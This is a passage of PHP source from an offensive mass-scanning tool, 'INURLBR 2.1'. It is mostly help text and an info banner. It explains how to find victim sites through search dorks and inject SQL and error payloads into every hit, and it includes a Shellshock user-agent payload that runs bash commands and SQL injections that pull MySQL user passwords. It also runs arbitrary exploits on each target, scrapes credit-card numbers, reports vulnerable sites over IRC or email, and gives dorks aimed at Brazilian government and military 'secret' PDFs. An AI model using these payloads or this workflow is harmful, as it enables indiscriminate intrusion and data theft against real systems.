[*]CMS WORDPRESS, [*]SHELL WEB, [*]ERROR JDBC, [*]ERROR ASP, + [*]ERROR ORACLE, [*]ERROR DB2, [*]JDBC CFM, [*]ERROS LUA, + [*]ERROR INDEFINITE + {$_SESSION["c0"]} + + {$_SESSION["c1"]}--dork{$_SESSION["c0"]} Defines which dork the search engine will use. + Example: {$_SESSION["c1"]}--dork {$_SESSION["c2"]}{dork}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:.gov.br inurl:php? id'{$_SESSION["c0"]} + - Using multiples dorks: + Example: {$_SESSION["c1"]}--dork {$_SESSION["c2"]}{[DORK]dork1[DORK]dork2[DORK]dork3}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'[DORK]site:br[DORK]site:ar inurl:php[DORK]site:il inurl:asp'{$_SESSION["c0"]} + + {$_SESSION["c1"]}--dork-file{$_SESSION["c0"]} Set font file with your search dorks. + Example: {$_SESSION["c1"]}--dork-file {$_SESSION["c2"]}{dork_file}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--dork-file {$_SESSION["c2"]}'dorks.txt'{$_SESSION["c0"]} + + {$_SESSION["c1"]}--exploit-get{$_SESSION["c0"]} Defines which exploit will be injected through the GET method to each URL found. + Example: {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}{exploit_get}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"?'´%270x27;\"{$_SESSION["c0"]} + + {$_SESSION["c1"]}--exploit-post{$_SESSION["c0"]} Defines which exploit will be injected through the POST method to each URL found. + Example: {$_SESSION["c1"]}--exploit-post {$_SESSION["c3"]}{exploit_post}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--exploit-post {$_SESSION["c3"]}'field1=valor1&field2=valor2&field3=?´0x273exploit;&botao=ok'{$_SESSION["c0"]} + + {$_SESSION["c1"]}--exploit-command{$_SESSION["c0"]} Defines which exploit/parameter will be executed in the options: {$_SESSION["c1"]}--command-vul/{$_SESSION["c0"]} {$_SESSION["c1"]}--command-all{$_SESSION["c0"]}. + The exploit-command will be identified by the paramaters: {$_SESSION["c1"]}--command-vul/{$_SESSION["c0"]} {$_SESSION["c1"]}--command-all as {$_SESSION["c6"]}_EXPLOIT_{$_SESSION["c0"]} + Ex {$_SESSION["c1"]}--exploit-command {$_SESSION["c2"]}'/admin/config.conf' {$_SESSION["c1"]}--command-all {$_SESSION["c2"]}'curl -v {$_SESSION["c8"]}_TARGET_{$_SESSION["c6"]}_EXPLOIT_{$_SESSION["c2"]}'{$_SESSION["c0"]} + _TARGET_ is the specified URL/TARGET obtained by the process + _EXPLOIT_ is the exploit/parameter defined by the option {$_SESSION["c1"]}--exploit-command{$_SESSION["c0"]}. + Example: {$_SESSION["c1"]}--exploit-command {$_SESSION["c2"]}{exploit-command}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--exploit-command {$_SESSION["c2"]}'/admin/config.conf'{$_SESSION["c0"]} + + {$_SESSION["c1"]}-a{$_SESSION["c0"]} Specify the string that will be used on the search script: + Example: {$_SESSION["c1"]}-a {$_SESSION["c2"]}{string}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}-a {$_SESSION["c2"]}'hello world'{$_SESSION["c0"]} + + {$_SESSION["c1"]}-d{$_SESSION["c0"]} Specify the script usage op {$_SESSION["c2"]}1, 2, 3, 4, 5.{$_SESSION["c0"]} + Example: {$_SESSION["c1"]}-d {$_SESSION["c2"]}{op}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}-d {$_SESSION["c2"]}1 {$_SESSION["c0"]}/URL of the search engine. + {$_SESSION["c1"]}-d {$_SESSION["c2"]}2 {$_SESSION["c0"]}/Show all the url. + {$_SESSION["c1"]}-d {$_SESSION["c2"]}3 {$_SESSION["c0"]}/Detailed request of every URL. + {$_SESSION["c1"]}-d {$_SESSION["c2"]}4 {$_SESSION["c0"]}/Shows the HTML of every URL. + {$_SESSION["c1"]}-d {$_SESSION["c2"]}5 {$_SESSION["c0"]}/Detailed request of all URLs. + {$_SESSION["c1"]}-d {$_SESSION["c2"]}6 {$_SESSION["c0"]}/Detailed PING - PONG irc. + + {$_SESSION["c1"]}-s{$_SESSION["c0"]} Specify the output file where it will be saved the vulnerable URLs. + + Example: {$_SESSION["c1"]}-s {$_SESSION["c2"]}{file}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}-s {$_SESSION["c2"]}your_file.txt + + {$_SESSION["c1"]}-o{$_SESSION["c0"]} Manually manage the vulnerable URLs you want to use from a file, without using a search engine. + Example: {$_SESSION["c1"]}-o {$_SESSION["c2"]}{file_where_my_urls_are}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}-o {$_SESSION["c2"]}tests.txt + + {$_SESSION["c1"]}--persist{$_SESSION["c0"]} Attempts when Google blocks your search. + The script tries to another google host / default = 4 + Example: {$_SESSION["c1"]}--persist {$_SESSION["c2"]}{number_attempts}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--persist {$_SESSION["c2"]}7 + + {$_SESSION["c1"]}--ifredirect{$_SESSION["c0"]} Return validation method post REDIRECT_URL + Example: {$_SESSION["c1"]}--ifredirect {$_SESSION["c2"]}{string_validation}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--ifredirect {$_SESSION["c2"]}'/admin/painel.php' + + {$_SESSION["c1"]}-m{$_SESSION["c0"]} Enable the search for emails on the urls specified. + + {$_SESSION["c1"]}-u{$_SESSION["c0"]} Enables the search for URL lists on the url specified. + + {$_SESSION["c1"]}--gc{$_SESSION["c0"]} Enable validation of values ​​with google webcache. + + {$_SESSION["c1"]}--pr{$_SESSION["c0"]} Progressive scan, used to set operators (dorks), + makes the search of a dork and valid results, then goes a dork at a time. + + {$_SESSION["c1"]}--file-cookie{$_SESSION["c0"]} Open cookie file. + + {$_SESSION["c1"]}--save-as{$_SESSION["c0"]} Save results in a certain place. + + {$_SESSION["c1"]}--shellshock{$_SESSION["c0"]} Explore shellshock vulnerability by setting a malicious user-agent. + + {$_SESSION["c1"]}--popup{$_SESSION["c0"]} Run --command all or vuln in a parallel terminal. + + {$_SESSION["c1"]}--cms-check{$_SESSION["c0"]} Enable simple check if the url / target is using CMS. + + {$_SESSION["c1"]}--no-banner{$_SESSION["c0"]} Remove the script presentation banner. + + {$_SESSION["c1"]}--unique{$_SESSION["c0"]} Filter results in unique domains. + + {$_SESSION["c1"]}--beep{$_SESSION["c0"]} Beep sound when a vulnerability is found. + + {$_SESSION["c1"]}--alexa-rank{$_SESSION["c0"]} Show alexa positioning in the results. + + {$_SESSION["c1"]}--robots{$_SESSION["c0"]} Show values file robots. + + {$_SESSION["c1"]}--range{$_SESSION["c0"]} Set range IP. + Example: {$_SESSION["c1"]}--range {$_SESSION["c2"]}{range_start,rage_end}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--range {$_SESSION["c2"]}'172.16.0.5#172.16.0.255' + + {$_SESSION["c1"]}--range-rand{$_SESSION["c0"]} Set amount of random ips. + Example: {$_SESSION["c1"]}--range-rand {$_SESSION["c2"]}{rand}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--range-rand {$_SESSION["c2"]}'50' + + {$_SESSION["c1"]}--irc{$_SESSION["c0"]} Sending vulnerable to IRC / server channel. + Example: {$_SESSION["c1"]}--irc {$_SESSION["c2"]}{server#channel}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--irc {$_SESSION["c2"]}'irc.rizon.net#inurlbrasil' + + {$_SESSION["c1"]}--http-header{$_SESSION["c0"]} Set HTTP header. + Example: {$_SESSION["c1"]}--http-header {$_SESSION["c2"]}{youemail}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--http-header {$_SESSION["c2"]}'HTTP/1.1 401 Unauthorized,WWW-Authenticate: Basic realm=\"Top Secret\"' + + {$_SESSION["c1"]}--sedmail{$_SESSION["c0"]} Sending vulnerable to email. + Example: {$_SESSION["c1"]}--sedmail {$_SESSION["c2"]}{youemail}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--sedmail {$_SESSION["c2"]}youemail@inurl.com.br + + {$_SESSION["c1"]}--delay{$_SESSION["c0"]} Delay between research processes. + Example: {$_SESSION["c1"]}--delay {$_SESSION["c2"]}{second}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--delay {$_SESSION["c2"]}10 + + {$_SESSION["c1"]}--time-out{$_SESSION["c0"]} Timeout to exit the process. + Example: {$_SESSION["c1"]}--time-out {$_SESSION["c2"]}{second}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--time-out {$_SESSION["c2"]}10 + + {$_SESSION["c1"]}--ifurl{$_SESSION["c0"]} Filter URLs based on their argument. + Example: {$_SESSION["c1"]}--ifurl {$_SESSION["c2"]}{ifurl}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--ifurl {$_SESSION["c2"]}index.php?id= + + {$_SESSION["c1"]}--ifcode{$_SESSION["c0"]} Valid results based on your return http code. + Example: {$_SESSION["c1"]}--ifcode {$_SESSION["c2"]}{ifcode}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--ifcode {$_SESSION["c2"]}200 + + {$_SESSION["c1"]}--ifemail{$_SESSION["c0"]} Filter E-mails based on their argument. + Example: {$_SESSION["c1"]}--ifemail {$_SESSION["c2"]}{file_where_my_emails_are}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--ifemail {$_SESSION["c2"]}sp.gov.br + + {$_SESSION["c1"]}--url-reference{$_SESSION["c0"]} Define referring URL in the request to send him against the target. + Example: {$_SESSION["c1"]}--url-reference {$_SESSION["c2"]}{url}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--url-reference {$_SESSION["c2"]}http://target.com/admin/user/valid.php + + {$_SESSION["c1"]}--mp{$_SESSION["c0"]} Limits the number of pages in the search engines. + Example: {$_SESSION["c1"]}--mp {$_SESSION["c2"]}{limit}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--mp {$_SESSION["c2"]}50 + + {$_SESSION["c1"]}--user-agent{$_SESSION["c0"]} Define the user agent used in its request against the target. + Example: {$_SESSION["c1"]}--user-agent {$_SESSION["c2"]}{agent}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--user-agent {$_SESSION["c2"]}'Mozilla/5.0 (X11; U; Linux i686) Gecko/20071127 Firefox/2.0.0.11' + Usage-exploit / SHELLSHOCK: + {$_SESSION["c1"]}--user-agent {$_SESSION["c2"]}'() { foo;};echo; /bin/bash -c \"expr 299663299665 / 3; echo CMD:;id; echo END_CMD:;\"' + Complete command: + php inurlbr.php --dork '_YOU_DORK_' -s shellshock.txt --user-agent '_YOU_AGENT_XPL_SHELLSHOCK' -t 2 -a '99887766555' + + {$_SESSION["c1"]}--sall{$_SESSION["c0"]} Saves all urls found by the scanner. + Example: {$_SESSION["c1"]}--sall {$_SESSION["c2"]}{file}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--sall {$_SESSION["c2"]}your_file.txt + + {$_SESSION["c1"]}--command-vul{$_SESSION["c0"]} Every vulnerable URL found will execute this command parameters. + Example: {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}{command}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}'nmap sV -p 22,80,21 {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]}{$_SESSION["c2"]}'{$_SESSION["c0"]} + {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}'./exploit.sh {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]} {$_SESSION["c2"]}output.txt'{$_SESSION["c0"]} + {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}'php miniexploit.php -t {$_SESSION["c8"]}_TARGET_{$_SESSION["c2"]} -s output.txt'{$_SESSION["c0"]} + + {$_SESSION["c1"]}--command-all{$_SESSION["c0"]} Use this commmand to specify a single command to EVERY URL found. + Example: {$_SESSION["c1"]}--command-all {$_SESSION["c2"]}{command}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--command-all {$_SESSION["c2"]}'nmap sV -p 22,80,21 {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]}{$_SESSION["c2"]}'{$_SESSION["c0"]} + {$_SESSION["c1"]}--command-all {$_SESSION["c2"]}'./exploit.sh {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]} {$_SESSION["c2"]}output.txt'{$_SESSION["c0"]} + {$_SESSION["c1"]}--command-all {$_SESSION["c2"]}'php miniexploit.php -t {$_SESSION["c8"]}_TARGET_{$_SESSION["c2"]} -s output.txt'{$_SESSION["c0"]} + [!] Observation: + + {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]} will be replaced by the URL/target found, although if the user + doesn't input the get, only the domain will be executed. + + {$_SESSION["c14"]}_TARGETFULL_{$_SESSION["c0"]} will be replaced by the original URL / target found. + + {$_SESSION["c14"]}_TARGETXPL_{$_SESSION["c0"]} will be replaced by the original URL / target found + EXPLOIT --exploit-get. + + {$_SESSION["c9"]}_TARGETIP_{$_SESSION["c0"]} return of ip URL / target found. + + {$_SESSION["c8"]}_URI_{$_SESSION["c0"]} Back URL set of folders / target found. + + {$_SESSION["c15"]}_RANDOM_{$_SESSION["c0"]} Random strings. + + {$_SESSION["c9"]}_PORT_{$_SESSION["c0"]} Capture port of the current test, within the --port-scan process. + + {$_SESSION["c6"]}_EXPLOIT_{$_SESSION["c0"]} will be replaced by the specified command argument {$_SESSION["c1"]}--exploit-command{$_SESSION["c0"]}. + The exploit-command will be identified by the parameters {$_SESSION["c1"]}--command-vul/{$_SESSION["c0"]} {$_SESSION["c1"]}--command-all as {$_SESSION["c6"]}_EXPLOIT_{$_SESSION["c0"]} + + {$_SESSION["c1"]}--replace{$_SESSION["c0"]} Replace values ​​in the target URL. + Example: {$_SESSION["c1"]}--replace {$_SESSION["c2"]}{value_old[INURL]value_new}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--replace {$_SESSION["c2"]}'index.php?id=[INURL]index.php?id=1666+and+(SELECT+user,Password+from+mysql.user+limit+0,1)=1'{$_SESSION["c0"]} + {$_SESSION["c1"]}--replace {$_SESSION["c2"]}'main.php?id=[INURL]main.php?id=1+and+substring(@@version,1,1)=1'{$_SESSION["c0"]} + {$_SESSION["c1"]}--replace {$_SESSION["c2"]}'index.aspx?id=[INURL]index.aspx?id=1%27´'{$_SESSION["c0"]} + + {$_SESSION["c1"]}--remove{$_SESSION["c0"]} Remove values ​​in the target URL. + Example: {$_SESSION["c1"]}--remove {$_SESSION["c2"]}{string}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--remove {$_SESSION["c2"]}'/admin.php?id=0' + + {$_SESSION["c1"]}--regexp{$_SESSION["c0"]} Using regular expression to validate his research, the value of the + Expression will be sought within the target/URL. + Example: {$_SESSION["c1"]}--regexp{$_SESSION["c2"]} {regular_expression}{$_SESSION["c0"]} + All Major Credit Cards: + Usage: {$_SESSION["c1"]}--regexp{$_SESSION["c2"]} '(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|6011[0-9]{12}|3(?:0[0-5]|[68][0-9])[0-9]{11}|3[47][0-9]{13})'{$_SESSION["c0"]} + + IP Addresses: + Usage: {$_SESSION["c1"]}--regexp{$_SESSION["c2"]} '((?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))'{$_SESSION["c0"]} + + EMAIL: + Usage: {$_SESSION["c1"]}--regexp{$_SESSION["c2"]} '([\w\d\.\-\_]+)@([\w\d\.\_\-]+)'{$_SESSION["c0"]} + + + {$_SESSION["c1"]}---regexp-filter{$_SESSION["c0"]} Using regular expression to filter his research, the value of the + Expression will be sought within the target/URL. + Example: {$_SESSION["c1"]}---regexp-filter{$_SESSION["c2"]} {regular_expression}{$_SESSION["c0"]} + EMAIL: + Usage: {$_SESSION["c1"]}---regexp-filter{$_SESSION["c2"]} '([\w\d\.\-\_]+)@([\w\d\.\_\-]+)'{$_SESSION["c0"]} + + + [!] Small commands manager: + + {$_SESSION["c1"]}--exploit-cad{$_SESSION["c0"]} Command register for use within the scanner. + Format {TYPE_EXPLOIT}::{EXPLOIT_COMMAND} + Example Format: NMAP::nmap -sV _TARGET_ + Example Format: EXPLOIT1::php xpl.php -t _TARGET_ -s output.txt + Usage: {$_SESSION["c1"]}--exploit-cad{$_SESSION["c2"]} 'NMAP::nmap -sV _TARGET_'{$_SESSION["c0"]} + Observation: Each registered command is identified by an id of your array. + Commands are logged in exploits.conf file. + + {$_SESSION["c1"]}--exploit-all-id{$_SESSION["c0"]} Execute commands, exploits based on id of use, + (all) is run for each target found by the engine. + Example: {$_SESSION["c1"]}--exploit-all-id {$_SESSION["c2"]}{id,id}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--exploit-all-id {$_SESSION["c2"]}1,2,8,22 + + {$_SESSION["c1"]}--exploit-vul-id{$_SESSION["c0"]} Execute commands, exploits based on id of use, + (vull) run command only if the target was considered vulnerable. + Example: {$_SESSION["c1"]}--exploit-vul-id {$_SESSION["c2"]}{id,id}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--exploit-vul-id {$_SESSION["c2"]}1,2,8,22 + + {$_SESSION["c1"]}--exploit-list{$_SESSION["c0"]} List all entries command in exploits.conf file. + + + [!] Running subprocesses: + + {$_SESSION["c1"]}--sub-file{$_SESSION["c0"]} Subprocess performs an injection + strings in URLs found by the engine, via GET or POST. + Example: {$_SESSION["c1"]}--sub-file {$_SESSION["c2"]}{youfile}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--sub-file {$_SESSION["c2"]}exploits_get.txt + + {$_SESSION["c1"]}--sub-get{$_SESSION["c0"]} defines whether the strings coming from + --sub-file will be injected via GET. + Usage: {$_SESSION["c1"]}--sub-get + + {$_SESSION["c1"]}--sub-post{$_SESSION["c0"]} defines whether the strings coming from + --sub-file will be injected via POST. + Usage: {$_SESSION["c1"]}--sub-get + + {$_SESSION["c1"]}--sub-concat{$_SESSION["c0"]} Sets string to be concatenated with + the target host within the subprocess + Example: {$_SESSION["c1"]}--sub-concat {$_SESSION["c2"]}{string}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--sub-concat {$_SESSION["c2"]}'/login.php'{$_SESSION["c0"]} + + {$_SESSION["c1"]}--sub-cmd-vul{$_SESSION["c0"]} Each vulnerable URL found within the sub-process + will execute the parameters of this command. + Example: {$_SESSION["c1"]}--sub-cmd-vul {$_SESSION["c2"]}{command}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--sub-cmd-vul {$_SESSION["c2"]}'nmap sV -p 22,80,21 {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]}{$_SESSION["c2"]}'{$_SESSION["c0"]} + {$_SESSION["c1"]}--sub-cmd-vul {$_SESSION["c2"]}'./exploit.sh {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]} {$_SESSION["c2"]}output.txt'{$_SESSION["c0"]} + {$_SESSION["c1"]}--sub-cmd-vul {$_SESSION["c2"]}'php miniexploit.php -t {$_SESSION["c8"]}_TARGET_{$_SESSION["c2"]} -s output.txt'{$_SESSION["c0"]} + + {$_SESSION["c1"]}--sub-cmd-all{$_SESSION["c0"]} Run command to each target found within the sub-process scope. + Example: {$_SESSION["c1"]}--sub-cmd-all {$_SESSION["c2"]}{command}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--sub-cmd-all {$_SESSION["c2"]}'nmap sV -p 22,80,21 {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]}{$_SESSION["c2"]}'{$_SESSION["c0"]} + {$_SESSION["c1"]}--sub-cmd-all {$_SESSION["c2"]}'./exploit.sh {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]} {$_SESSION["c2"]}output.txt'{$_SESSION["c0"]} + {$_SESSION["c1"]}--sub-cmd-all {$_SESSION["c2"]}'php miniexploit.php -t {$_SESSION["c8"]}_TARGET_{$_SESSION["c2"]} -s output.txt'{$_SESSION["c0"]} + + + {$_SESSION["c1"]}--port-scan{$_SESSION["c0"]} Defines ports that will be validated as open. + Example: {$_SESSION["c1"]}--port-scan {$_SESSION["c2"]}{ports}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--port-scan {$_SESSION["c2"]}'22,21,23,3306'{$_SESSION["c0"]} + + {$_SESSION["c1"]}--port-cmd{$_SESSION["c0"]} Define command that runs when finding an open door. + Example: {$_SESSION["c1"]}--port-cmd {$_SESSION["c2"]}{command}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--port-cmd {$_SESSION["c2"]}'./xpl _TARGETIP_:_PORT_'{$_SESSION["c0"]} + {$_SESSION["c1"]}--port-cmd {$_SESSION["c2"]}'./xpl _TARGETIP_/file.php?sqli=1'{$_SESSION["c0"]} + + {$_SESSION["c1"]}--port-write{$_SESSION["c0"]} Send values for door. + Example: {$_SESSION["c1"]}--port-write {$_SESSION["c2"]}{'value0','value1','value3'}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--port-write {$_SESSION["c2"]}\"'NICK nk_test','USER nk_test 8 * :_ola','JOIN #inurlbrasil','PRIVMSG #inurlbrasil : minha_msg'\"{$_SESSION["c0"]} + + + + [!] Modifying values used within script parameters: + + {$_SESSION["c1"]}md5{$_SESSION["c0"]} Encrypt values in md5. + Example: {$_SESSION["c1"]}md5({$_SESSION["c2"]}{value}{$_SESSION["c1"]}){$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}md5({$_SESSION["c2"]}102030{$_SESSION["c1"]}){$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--exploit-get 'user?id=md5({$_SESSION["c2"]}102030{$_SESSION["c1"]})'{$_SESSION["c0"]} + + {$_SESSION["c1"]}base64{$_SESSION["c0"]} Encrypt values in base64. + Example: {$_SESSION["c1"]}base64({$_SESSION["c2"]}{value}{$_SESSION["c1"]}){$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}base64({$_SESSION["c2"]}102030{$_SESSION["c1"]}){$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--exploit-get 'user?id=base64({$_SESSION["c2"]}102030{$_SESSION["c1"]})'{$_SESSION["c0"]} + + {$_SESSION["c1"]}hex{$_SESSION["c0"]} Encrypt values in hex. + Example: {$_SESSION["c1"]}hex({$_SESSION["c2"]}{value}{$_SESSION["c1"]}){$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}hex({$_SESSION["c2"]}102030{$_SESSION["c1"]}){$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--exploit-get 'user?id=hex({$_SESSION["c2"]}102030{$_SESSION["c1"]})'{$_SESSION["c0"]} + + {$_SESSION["c1"]}hex{$_SESSION["c0"]} Generate random values. + Example: {$_SESSION["c1"]}random({$_SESSION["c2"]}{character_counter}{$_SESSION["c1"]}){$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}random({$_SESSION["c2"]}8{$_SESSION["c1"]}){$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--exploit-get 'user?id=random({$_SESSION["c2"]}8{$_SESSION["c1"]})'{$_SESSION["c0"]} + +"); +} + +function __info() { + + return system("command clear") . __getOut(" + {$_SESSION["c1"]}_____ _ _ ______ ____ +|_ _| \ | | ____/ __ \ + | | | \| | |__ | | | | + | | | . ` | __|| | | | + _| |_| |\ | | | |__| | +|_____|_| \_|_| \____/ + +{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}Current PHP version=>{$_SESSION["c1"]}[ " . phpversion() . "{$_SESSION["c0"]} ] +{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}Current script owner=>{$_SESSION["c1"]}[ " . get_current_user() . "{$_SESSION["c0"]} ] +{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}Current uname=>{$_SESSION["c1"]}[ " . php_uname() . "{$_SESSION["c0"]} ] +{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}Current pwd=>{$_SESSION["c1"]}[ " . getcwd() . "{$_SESSION["c0"]} ] +{$_SESSION["c1"]}[-]-------------------------------------------------------------------------------{$_SESSION["c0"]} + + {$_SESSION["c1"]}[*]{$_SESSION["c0"]}GRUPO INURL BRASIL - PESQUISA AVANÇADA. + {$_SESSION["c1"]}[*]{$_SESSION["c0"]}SCRIPT NAME: INURLBR 2.1 + {$_SESSION["c1"]}[*]{$_SESSION["c0"]}AUTOR: Cleiton Pinheiro + {$_SESSION["c1"]}[*]{$_SESSION["c0"]}Nick: Googleinurl + {$_SESSION["c1"]}[*]{$_SESSION["c0"]}Email: inurlbr@gmail.com + {$_SESSION["c1"]}[*]{$_SESSION["c0"]}Blog: http://blog.inurl.com.br + {$_SESSION["c1"]}[*]{$_SESSION["c0"]}Twitter: https://twitter.com/googleinurl + {$_SESSION["c1"]}[*]{$_SESSION["c0"]}Facebook: https://fb.com/InurlBrasil + {$_SESSION["c1"]}[*]{$_SESSION["c0"]}GIT: https://github.com/googleinurl + {$_SESSION["c1"]}[*]{$_SESSION["c0"]}Pastebin https://pastebin.com/u/Googleinurl + {$_SESSION["c1"]}[*]{$_SESSION["c0"]}PSS: https://packetstormsecurity.com/user/googleinurl + {$_SESSION["c1"]}[*]{$_SESSION["c0"]}YOUTUBE: http://youtube.com/c/INURLBrasil + {$_SESSION["c1"]}[*]{$_SESSION["c0"]}PLUS: http://google.com/+INURLBrasil + {$_SESSION["c1"]}[*]{$_SESSION["c0"]}Version: 2.1 + +{$_SESSION["c1"]}[-]-------------------------------------------------------------------------------{$_SESSION["c0"]} + + {$_SESSION["c1"]}[+]{$_SESSION["c16"]}NECESSARY FOR THE PROPER FUNCTIONING OF THE SCRIPT{$_SESSION["c0"]} + + {$_SESSION["c1"]}[ - ]{$_SESSION["c16"]} LIB & CONFIG{$_SESSION["c0"]} + + * PHP Version 5.4.7 + * php5-curl LIB + * php5-cli LIB + * cURL support enabled + * cURL Information 7.24.0 + * allow_url_fopen On + * permission Reading & Writing + * User root privilege, or is in the sudoers group + * Operating system LINUX + * Proxy random TOR + +{$_SESSION["c1"]}[-]-------------------------------------------------------------------------------{$_SESSION["c0"]} + + {$_SESSION["c1"]}[+]{$_SESSION["c0"]} {$_SESSION["c16"]}PERMISSION EXECUTION: chmod +x inurlbr.php{$_SESSION["c0"]} + {$_SESSION["c1"]}[+]{$_SESSION["c0"]} {$_SESSION["c16"]}INSTALLING LIB PHP-CURL: sudo apt-get install php5-curl{$_SESSION["c0"]} + {$_SESSION["c1"]}[+]{$_SESSION["c0"]} {$_SESSION["c16"]}INSTALLING LIB PHP-CLI: sudo apt-get install php5-cli{$_SESSION["c0"]} + {$_SESSION["c1"]}[+]{$_SESSION["c0"]} {$_SESSION["c16"]}sudo apt-get install curl libcurl3 libcurl3-dev php5 php5-cli php5-curl033[0m + {$_SESSION["c1"]}[+]{$_SESSION["c0"]} {$_SESSION["c16"]}INSTALLING PROXY TOR https://www.torproject.org/docs/debian.html.en{$_SESSION["c0"]} + +{$_SESSION["c1"]}[-]-------------------------------------------------------------------------------{$_SESSION["c0"]} + + {$_SESSION["c1"]}[ - ]{$_SESSION["c16"]} COMMANDS SIMPLE SCRIPT{$_SESSION["c0"]} + + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'inurl:php?id=' {$_SESSION["c1"]}-s {$_SESSION["c2"]}save.txt {$_SESSION["c1"]}-q 1,6 {$_SESSION["c1"]}-t {$_SESSION["c2"]}1 {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"?´'%270x27;\" {$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'inurl:aspx?id=' {$_SESSION["c1"]}-s {$_SESSION["c2"]}save.txt {$_SESSION["c1"]}-q 1,6 {$_SESSION["c1"]}-t {$_SESSION["c2"]}1 {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"?´'%270x27;\" {$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:br inurl:aspx (id|new)' {$_SESSION["c1"]}-s {$_SESSION["c2"]}save.txt {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,6 {$_SESSION["c1"]}-t {$_SESSION["c2"]}1 {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"?´'%270x27;\"{$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'index of wp-content/uploads' {$_SESSION["c1"]}-s {$_SESSION["c2"]}save.txt {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,6,2,4 {$_SESSION["c1"]}-t {$_SESSION["c2"]}2 {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}'?' {$_SESSION["c1"]}-a {$_SESSION["c2"]}'Index of /wp-content/uploads'{$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:.mil.br intext:(confidencial) ext:pdf' {$_SESSION["c1"]}-s {$_SESSION["c2"]}save.txt {$_SESSION["c1"]}-q 1,6 -t 2 --exploit-get {$_SESSION["c3"]}'?' {$_SESSION["c1"]}-a {$_SESSION["c2"]}'confidencial'{$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:.mil.br intext:(secreto) ext:pdf' {$_SESSION["c1"]}-s save.txt {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,6 {$_SESSION["c1"]}-t {$_SESSION["c2"]}2 {$_SESSION["c1"]}--exploit-get {$_SESSION["c2"]}'?' 